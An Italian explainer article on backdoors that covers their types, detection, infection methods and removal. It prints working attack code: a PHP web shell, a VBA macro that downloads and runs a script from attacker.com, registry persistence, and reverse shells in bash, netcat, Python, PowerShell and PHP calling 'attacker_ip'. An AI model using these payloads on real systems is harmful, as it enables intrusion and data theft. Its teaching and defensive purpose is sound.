Loading...

Approfondimento Tech

Backdoor e attacchi informatici nascosti

Scopri cos’è una backdoor, le sue tipologie, come agisce, come intercettarla e rimuoverla in modo sicuro da computer e siti web compromessi.

porta di accesso nascosta

Indice dei contenuti

  • Cos’è una backdoor
  • Tutte le tipologie di backdoor
  • Come intercettare backdoor e funzionalità
  • Modalità di attacco con le backdoor
  • Esempio di attacco: “reverse shell” in azione
  • Come rimuovere una backdoor dal computer o sito infetto

Le backdoor rappresentano una delle minacce più insidiose e difficili da individuare. Questi strumenti malevoli permettono a un attaccante di ottenere accesso non autorizzato a un sistema compromesso, aggirando meccanismi di sicurezza, controlli e password.

Questo articolo esplora a fondo cosa sono le backdoor, le loro varianti più comuni, come si diffondono, come agiscono e – soprattutto – come è possibile individuarle e rimuoverle in modo efficace. Analizzeremo inoltre un caso pratico: l’uso della reverse shell, una delle tecniche più note nel campo delle backdoor.

Cos’è una backdoor

Nel contesto della sicurezza informatica, una backdoor è una porta di accesso nascosta che permette di controllare un sistema informatico bypassando le normali misure di sicurezza.

Questa porta può essere inserita volontariamente da uno sviluppatore oppure introdotta clandestinamente da un attaccante.

Backdoor legittime vs malevole

  • Legittima
    Può essere integrata da un produttore di software per finalità come l’assistenza remota o il recupero d’emergenza. Un esempio sono alcune backdoor nei router domestici, usate dagli ISP per interventi di manutenzione.
  • Malevola
    Viene installata tramite malware, phishing o vulnerabilità, per garantire accesso remoto non autorizzato a un cyber criminale.

Funzionamento

Una backdoor può essere attiva, cioè comunicare costantemente con l’attaccante, oppure passiva, in attesa di un comando specifico. Di solito, permette di:

  • Eseguire comandi da remoto
  • Caricare o scaricare file
  • Installare altri malware
  • Registrare attività dell’utente
  • Trasferire dati sensibili

Esempio pratico in Python: backdoor semplice

Il seguente codice Python rappresenta una backdoor rudimentale che si connette a un server remoto e attende comandi da eseguire:

mport socket

import subprocess

# Dati del server (attaccante)

host = "attacker_ip"

port = 4444

# Connessione

s = socket.socket()

s.connect((host, port))

while True:

    command = s.recv(1024).decode()

    if command.lower() == "exit":

        break

    output = subprocess.getoutput(command)

    s.send(output.encode())

s.close()

Questo script andrebbe eseguito sulla macchina della vittima. L’attaccante, nel frattempo, può semplicemente aprire una porta in ascolto con netcat:

nc -lvp 4444

Da qui potrà inviare comandi che saranno eseguiti in remoto.

Caso reale: la backdoor di Juniper (2015)

Nel 2015 fu scoperta una backdoor nei firewall ScreenOS di Juniper Networks, che permetteva a un attaccante con conoscenze della chiave segreta di decifrare il traffico VPN.

La vulnerabilità era stata inserita nel codice in modo deliberato. Questo episodio evidenzia come backdoor software possano minare anche infrastrutture critiche, senza che gli utenti ne siano consapevoli.

Tutte le tipologie di backdoor

Le backdoor si presentano in molteplici forme e livelli di complessità. Alcune agiscono come software nascosti, altre sono implementate a livello di sistema operativo, firmware o perfino hardware. Comprendere le diverse tipologie di backdoor è essenziale per sapere come rilevarle e difendersi.

1. Backdoor software

Sono tra le più diffuse. Si tratta di funzionalità nascoste inserite in programmi apparentemente legittimi. Sono spesso veicolate tramite:

  • Trojan horse
    Software infetti che installano componenti malevoli.
  • Modifiche a software open source
    Quando un attaccante riesce a inserire codice dannoso in progetti condivisi.

Esempio:

Nel 2020 fu scoperta una backdoor nel progetto open source phpass, utilizzato per l’hashing delle password. La funzione CheckPassword() era stata alterata per restituire sempre true se riceveva una password specifica, permettendo l’accesso amministrativo.

2. Botnet

Una botnet è una rete di computer infetti da malware controllati da remoto. Ogni macchina viene resa un bot attraverso una backdoor che riceve comandi da un server centrale (C&C server).

Caratteristiche:

  • Comunicazione C2: HTTP, IRC, DNS o peer-to-peer.
  • Persistenza: le backdoor bot tendono ad auto-aggiornarsi.
  • Uso: DDoS, spam, mining, furto di dati.

Esempio:

Mirai è una famigerata botnet che infettava dispositivi IoT sfruttando credenziali di default. Creava backdoor che si connettevano a server C2 per attacchi DDoS massivi (fino a 1 Tbps).

3. Rootkit

I rootkit sono backdoor avanzate che operano a basso livello nel sistema operativo, nascondendo file, processi e connessioni di rete. Possono agire a due livelli:

  • User-mode
    Più facili da rimuovere, operano come servizi o DLL.
  • Kernel-mode
    Agiscono a livello del kernel, sono molto più difficili da rilevare.

Tecnica comune:

I rootkit usano tecniche di hooking delle API di sistema per mascherare la loro presenza.

Tool di rilevamento:

  • rkhunter (Linux)
  • GMER (Windows)
  • Chkrootkit

4. Backdoor hardware / firmware

Sono le più difficili da individuare. Possono essere introdotte nei dispositivi direttamente in fase di produzione (supply chain attack), o tramite aggiornamenti firmware malevoli.

Esempio:

Nel 2018, Bloomberg accusò aziende cinesi di aver inserito chip spia su server destinati ad aziende americane come Apple e Amazon. Il caso, noto come Supermicro espionage, non è mai stato completamente confermato, ma sollevò il tema delle hardware backdoor.

5. Backdoor di rete (network-based)

Vengono installate nei router, switch o firewall per intercettare, modificare o instradare traffico. Possono agire a livello di firmware o come servizi nascosti (es: telnet attivato).

Esempio:

Alcuni router Huawei venduti all’estero contenevano credenziali di accesso hardcoded, accessibili via telnet o SSH, considerabili vere e proprie backdoor.

6. Backdoor Web (PHP/ASP/JS)

Utilizzate per il controllo remoto di siti web compromessi. Sono file che permettono di:

  • Caricare/eseguire codice
  • Leggere/modificare file
  • Accedere al database

Esempio di web shell PHP:

<?php

if(isset($_REQUEST['cmd'])){

  echo "<pre>";

  $cmd = ($_REQUEST['cmd']);

  system($cmd);

  echo "</pre>";

}

?>

Questa shell può essere richiamata con un URL tipo:
http://victim.com/shell.php?cmd=ls

Come intercettare backdoor e funzionalità

Rilevare una backdoor attiva in un sistema compromesso è un’operazione complessa, soprattutto se l’attaccante ha adottato tecniche di offuscamento o privilegi elevati.

Tuttavia, esistono una serie di strumenti e metodi per intercettare le backdoor, analizzarne il comportamento e bloccarle.

1. Analisi del traffico di rete

Le connessioni sospette verso IP esterni o l’uso anomalo di porte non standard possono essere indizi fondamentali.

Strumenti:

  • Wireshark
    Intercetta e analizza pacchetti in tempo reale.
  • tcpdump
    Utile da riga di comando su server.
  • Zeek (ex Bro)
    IDS avanzato che registra eventi di rete.
  • Suricata
    NIDS con supporto a regole di rilevamento.

Esempio con tcpdump:

tcpdump -i eth0 port not 22 and port not 80

Questo comando mostra traffico non standard su interfaccia eth0.

2. Monitoraggio dei processi

Una backdoor in esecuzione spesso mantiene processi non familiari, senza descrizione, o mascherati come processi di sistema (svchost, systemd, explorer.exe falsi).

Strumenti:

  • Process Explorer (Windows)
  • htop / top / ps aux (Linux)
  • Task Manager avanzato (macOS con Activity Monitor o lsof)

Esempio:

ps aux | grep -v root | grep -E 'nc|bash|perl|python|sh'

Questo comando cerca processi comuni alle backdoor eseguite da utenti non root.

3. Controllo porte e listener nascosti

Molte backdoor attivano un listener TCP su porte arbitrarie.

Comando utile:

netstat -tulnp | grep LISTEN

Su Windows si può usare:

netstat -ano | findstr LISTENING

Oppure strumenti avanzati come CurrPorts per GUI.

4. Analisi dei file di sistema e avvio

Le backdoor possono essere persistenti grazie a modifiche nei file di:

  • Init system (systemd, rc.local, cron)
  • Registro di Windows (es. HKLM\Software\Microsoft\Windows\CurrentVersion\Run)
  • Script di login

Strumenti:

  • Autoruns (Windows): mostra tutti i punti di esecuzione automatica.
  • chkconfig / systemctl / crontab su Linux.

Esempio (Linux):

crontab -l

ls /etc/systemd/system/

Cerca job cron anomali o servizi persistenti non riconosciuti.

5. Rilevamento comportamentale

Alcuni software, come gli EDR (Endpoint Detection and Response), sono in grado di analizzare i comportamenti di applicazioni e utenti per identificare attività sospette.

Soluzioni EDR open source o gratuite:

  • OSSEC
  • Wazuh
  • CrowdSec

6. Indicatori di Compromissione (IoC)

Gli IoC sono segnali digitali che indicano un’infezione. Alcuni esempi:

  • IP e domini di C2 noti (es. 185.100.87.XX)
  • Hash di file malevoli (SHA256)
  • User agent anomali
  • Comportamenti atipici (login da IP insoliti)

Strumenti per rilevare IoC:

  • YARA (file analysis)
  • VirusTotal
  • MISP (Malware Information Sharing Platform)

7. Reverse engineering e sandboxing

Se si sospetta un file binario o uno script, può essere utile analizzarlo in sandbox per vederne il comportamento:

  • Cuckoo Sandbox
  • Any.Run
  • Hybrid Analysis
Vettori di infezione

Modalità di attacco con le backdoor

Le backdoor non rappresentano solo un tipo di malware, ma una vera e propria tecnica di compromissione e mantenimento dell’accesso.

In uno scenario di attacco tipico, l’installazione della backdoor è solo uno dei passaggi: prima c’è l’accesso iniziale, poi il lateral movement, l’escalation dei privilegi e infine la persistenza.

1. Vettori di infezione più comuni

a) Phishing e spear-phishing

È uno dei metodi più efficaci. Una mail con un allegato Word/PDF malevolo può contenere macro VBA che, una volta abilitate, eseguono codice remoto per scaricare la backdoor.

Esempio di macro malevola in VBA:

Sub AutoOpen()

    Dim obj As Object

    Set obj = CreateObject("Wscript.Shell")

    obj.Run "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"

End Sub

b) Exploiting di vulnerabilità

Gli attaccanti sfruttano bug in software (es. Apache, Exchange, WordPress) per caricare una web shell o una reverse shell.

Esempio
Vulnerabilità CVE-2021-26855 in Microsoft Exchange (ProxyLogon) usata per inserire una webshell ASPXe mantenere l’accesso.

c) Drive-by download

Navigando su un sito compromesso, uno script JavaScript può forzare il download e l’esecuzione di una backdoor, sfruttando vulnerabilità del browser o plugin (es. Flash, Java, ActiveX).

d) Supply chain attack

L’attaccante modifica un software legittimo prima della distribuzione (es. compromettendo il repository GitHub o il compilatore).

Esempio
Attacco a SolarWinds Orion – gli aggressori hanno infettato una libreria utilizzata da migliaia di aziende e agenzie governative.

2. Tecniche di installazione e persistenza

Dopo il primo accesso, l’obiettivo è non essere rilevati e poter tornare nel sistema in qualsiasi momento. Le tecniche comuni includono:

  • Modifica del registro di Windows (es. chiavi Run)
  • Creazione di nuovi servizi o demoni di sistema
  • Inserimento di script cron o systemd
  • Sostituzione di binari di sistema (es. ssh, ls, netstat)
  • Iniezione in processi legittimi (process hollowing, DLL injection)

Esempio in PowerShell (persistenza tramite registro):

Set-ItemProperty -Path “HKCU:\Software\Microsoft\Windows\CurrentVersion\Run” -Name “Updater” -Value “C:\Users\victim\AppData\Roaming\backdoor.ps1”

3. Comunicazione con il server C&C

Una backdoor non è utile se l’attaccante non può impartire comandi. Le connessioni sono spesso cifrate (TLS), offuscate o camuffate in traffico HTTP normale.

Tecniche comuni:

  • Reverse shell
  • HTTPS callback
  • DNS tunneling (uso dei record DNS per trasferire dati)
  • Telegram bots o Discord webhook

Esempio base di reverse shell (bash):

bash -i >& /dev/tcp/attacker_ip/4444 0>&1

4. Evasione delle difese

Una volta presente, la backdoor adotta tecniche per non farsi rilevare, tra cui:

  • Offuscamento del codice
  • Crittografia del payload
  • Uso di packer o crypter
  • Disabilitazione degli antivirus o EDR
  • Simulazione di software legittimi (es. svch0st.exe)

5. Lateral movement e privilege escalation

Dalla macchina infetta, l’attaccante può propagarsi nella rete, cercare altre credenziali o passare a sistemi più critici.

Strumenti tipici:

  • Mimikatz
    Estrae hash e password dalla RAM
  • PsExec
    Esecuzione remota su Windows
  • BloodHound
    Analisi dei privilegi in Active Directory

Esempio di attacco: “reverse shell” in azione

Una delle modalità più comuni per mantenere una backdoor attiva è l’uso di una reverse shell. Questo tipo di attacco permette a un attaccante di ottenere un accesso remoto a una macchina bersaglio, aggirando firewall e NAT, poiché è la vittima a iniziare la connessione verso l’attaccante.

Cos’è una reverse shell?

In una reverse shell, la macchina compromessa apre una connessione TCP verso l’attaccante, che è in ascolto su una porta. Una volta stabilita la connessione, la shell (prompt dei comandi o terminale) del sistema infetto viene reindirizzata all’attaccante, permettendogli di impartire comandi remoti in tempo reale.

Scenario: attacco con netcat

1. L’attaccante apre una porta in ascolto

Sul proprio terminale, l’attaccante digita:

nc -lvp 4444

Il comando netcat (nc) è in ascolto sulla porta 4444, pronto a ricevere una connessione.

2. La vittima esegue il comando reverse

nc attacker_ip 4444 -e /bin/bash

Questo comando collega la shell bash della vittima alla porta 4444 dell’attaccante. Ora, l’attaccante può eseguire comandi come:

whoami

uname -a

ls -la

Nota:

Su sistemi moderni, l’opzione -e è disabilitata per motivi di sicurezza. In alternativa si può usare:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc attacker_ip 4444 > /tmp/f

Reverse shell in Python

import socket, subprocess, os

s = socket.socket()

s.connect(("attacker_ip", 4444))

os.dup2(s.fileno(), 0)  # stdin

os.dup2(s.fileno(), 1)  # stdout

os.dup2(s.fileno(), 2)  # stderr

subprocess.call(["/bin/sh", "-i"])

Questa shell è utile in ambienti Linux/Unix con Python installato.

Reverse shell in PowerShell (Windows)

$client = New-Object System.Net.Sockets.TCPClient("attacker_ip",4444)

$stream = $client.GetStream()

[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){

 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);

 $sendback = (iex $data 2>&1 | Out-String );

 $sendback2 = $sendback + "PS " + (pwd).Path + "> ";

 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);

 $stream.Write($sendbyte,0,$sendbyte.Length);

 $stream.Flush()

}

Reverse shell in PHP (per siti compromessi)

<?php

$sock=fsockopen("attacker_ip",4444);

$proc=proc_open("/bin/sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);

?>

Una semplice web shell può essere salvata come .php e caricata in un sito WordPress vulnerabile.

Come si presenta il traffico?

Dal punto di vista del network analyst, una reverse shell può apparire come:

  • Una connessione uscente da una macchina che non dovrebbe connettersi all’esterno.
  • Porta destinazione non standard (es. 4444, 1337, 9001)
  • Nessun User-Agent, protocollo TCP grezzo

Esempio tcpdump:

tcpdump -i eth0 port 4444

Può mostrare una sessione attiva da una macchina interna verso un IP sconosciuto.

Tecniche per eludere il rilevamento

  • Crittografia del canale (reverse shell via HTTPS o TLS)
  • DNS tunneling
  • Uso di proxy pubblici o TOR
  • Offuscamento del codice (Base64, XOR)

Contromisure

  • Monitoraggio delle connessioni in uscita su porte non standard
  • Impedire esecuzione arbitraria di PowerShell/VBA
  • Analisi comportamentale (EDR)
  • Impostare firewall in modalità “default deny”
  • File integrity monitoring per rilevare shell caricate sul sito

Come rimuovere una backdoor dal computer o sito infetto

La rimozione di una backdoor è una delle fasi più critiche nella risposta a un attacco informatico. L’obiettivo non è solo eliminare il codice malevolo, ma anche assicurarsi che:

  1. L’attaccante non possa più rientrare nel sistema.
  2. Tutti i vettori d’infezione siano chiusi.
  3. Il sistema sia monitorato in modo efficace post-bonifica.

Vediamo nel dettaglio i passaggi per computer e siti web.

A. Rimozione da computer (Windows, Linux, macOS)

1. Isolare il sistema compromesso

Scollegare dalla rete LAN e da Internet per impedire ulteriori comandi remoti.

sudo ip link set eth0 down   # Linux

Oppure disabilita Wi-Fi/ethernet su Windows/macOS.

2. Avvio in modalità sicura o tramite Live USB

Avvia il sistema in modalità provvisoria o usa una distribuzione live (es. Kali, Ubuntu Rescue Remix) per operare in un ambiente pulito.

3. Scansione con più antivirus/antimalware

  • Malwarebytes
  • ESET Online Scanner
  • Kaspersky Rescue Disk
  • ClamAV (Linux)

clamscan -r /home/ –bell -i

4. Analisi dei processi e delle porte

Identifica processi sospetti e listener attivi.

ps aux

netstat -tulnp

Su Windows:

tasklist

netstat -ano

5. Controllo dei file di avvio automatico

  • Windows: Autoruns, regedit, shell:startup
  • Linux: crontab -l, systemctl list-unit-files, /etc/init.d/

6. Rimozione manuale

Dopo aver individuato file malevoli:

sudo rm /path/to/suspicious_file

Oppure usa del su Windows.

7. Reset delle credenziali

Cambia tutte le password locali (utente, root, admin) e remoti (email, VPN, cloud).

8. Controllo integrità sistema

Confronta hash dei file di sistema con versioni originali o usa strumenti come:

  • Tripwire
  • AIDE

9. Ripristino da backup puliti (se necessario)

Se la compromissione è profonda, è consigliabile:

  • Ripristinare da backup verificati.
  • Formattare e reinstallare da ISO affidabili.

10. Monitoraggio post-rimozione

Installa strumenti per la rilevazione comportamentale (es. OSSEC, Wazuh, CrowdSec), per evitare nuove compromissioni.

B. Rimozione da sito web compromesso

1. Metti il sito offline

Impedisci l’accesso temporaneo per proteggere utenti e limitare danni SEO.

2. Accedi via FTP/SFTP o SSH

Esamina i file web (es. /public_html/, /var/www/html/).

3. Cerca file sospetti (PHP, JS, HTACCESS)

Usa grep, find, rgrep per cercare firme comuni:

grep -r –include=*.php “base64_decode” /var/www/html

4. Analisi di plugin, temi e CMS core

  • Elimina plugin non ufficiali o inutilizzati.
  • Reinstalla il core CMS (WordPress, Joomla).
  • Confronta MD5/SHA dei file originali:

md5sum index.php

5. Strumenti di scansione automatica

  • Wordfence (WordPress)
  • Sucuri SiteCheck
  • Quttera
  • ImunifyAV

6. Ripristino da backup pulito

Se la compromissione è estesa o non identificabile con certezza, ripristina una copia pre-infetta del sito.

7. Cambia credenziali

Modifica le password di:

  • FTP/SFTP
  • Pannello di hosting
  • Database
  • CMS

8. Aggiorna tutto

Aggiorna:

  • CMS (es. WordPress)
  • Temi e plugin
  • Versione PHP/MySQL se possibile

9. Implementa WAF (Web Application Firewall)

Esempi:

  • Cloudflare
  • Astra Security
  • ModSecurity

10. Monitoraggio continuo

Configura alert automatici per:

  • Modifica di file
  • Accessi anomali
  • Variazioni DNS

Domande e risposte

  1. Cos’è una backdoor?
    È un accesso nascosto a un sistema informatico, utilizzato per controllarlo da remoto bypassando l’autenticazione.
  2. Quali sono le principali tipologie di backdoor?
    Botnet, rootkit, reverse shell, trojan e backdoor applicative.
  3. Come si installa una backdoor su un sistema?
    Attraverso phishing, exploit di vulnerabilità, trojan o attacchi supply chain.
  4. Una backdoor è sempre dannosa?
    No, alcune sono implementate per scopi di manutenzione, ma possono diventare pericolose se sfruttate da malintenzionati.
  5. Cosa rende le rootkit così pericolose?
    Operano a livello di sistema operativo e risultano invisibili agli antivirus comuni.
  6. Cos’è una reverse shell?
    Una connessione remota dalla vittima verso l’attaccante che consente il controllo del terminale.
  7. Come posso sapere se ho una backdoor nel mio sistema?
    Monitorando traffico di rete, processi in esecuzione e comportamenti anomali.
  8. Posso rimuovere una backdoor senza formattare tutto?
    Sì, ma richiede strumenti avanzati, conoscenza tecnica e spesso backup puliti.
  9. Un sito WordPress può essere infettato da una backdoor?
    Sì, specialmente tramite plugin o temi vulnerabili o compromessi.
  10. Quali strumenti posso usare per cercare una backdoor?
    Wireshark, rkhunter, chkrootkit, Autoruns, Malwarebytes, Wordfence, ClamAV.
To top